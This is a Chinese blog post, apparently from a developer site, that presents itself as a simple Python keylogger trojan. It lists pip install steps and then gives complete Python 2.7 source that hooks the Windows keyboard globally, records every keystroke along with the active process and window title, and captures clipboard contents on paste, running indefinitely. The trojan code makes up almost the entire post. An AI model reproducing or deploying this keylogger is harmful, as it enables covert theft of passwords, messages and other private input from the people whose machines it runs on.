python实现键盘记录木马_PYTHON简易木马(键盘记录)编译通过

PTYHON 2.7

PIP(简直是神器,就靠它了)

pip记得加在系统变量里面

pip install pyHook-1.5.1-cp27-cp27m-win_amd64.whl

pip install pywin32

from ctypes import *

import pyHook

import pythoncom

import win32clipboard

user32 = windll.user32

kernel32 = windll.kernel32

psapi = windll.psapi

current_window = None

def get_current_process():

hwnd = user32.GetForegroundWindow()

pid = c_ulong(0)

user32.GetWindowThreadProcessId(hwnd, byref(pid))

process_id = "%d" % pid.value

executable = create_string_buffer("\x00" * 512)

h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

windows_title = create_string_buffer("\x00" * 512)

length = user32.GetWindowTextA(hwnd, byref(windows_title), 512)

print

print "[ PID:%s-%s-%s]" % (process_id, executable.value, windows_title.value)

print

kernel32.CloseHandle(hwnd)

kernel32.CloseHandle(h_process)

def KeyStroke(event):

global current_window

if event.WindowName != current_window:

current_window = event.WindowName

get_current_process()

if event.Ascii > 32 and event.Ascii < 127:

print chr(event.Ascii),

else:

if event.Key == "V":

win32clipboard.OpenClipboard()

pasted_value = win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

print "[PASTE]-%s" % (pasted_value),

else:

print "[%s]" % event.Key,

return True

# 创建和注册钩子函数管理器

kl = pyHook.HookManager()

kl.KeyDown = KeyStroke

# 注册键盘记录的钩子并永久执行

kl.HookKeyboard()

pythoncom.PumpMessages()

标签:kernel32,键盘记录,PYTHON,current,process,user32,木马,print,event

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值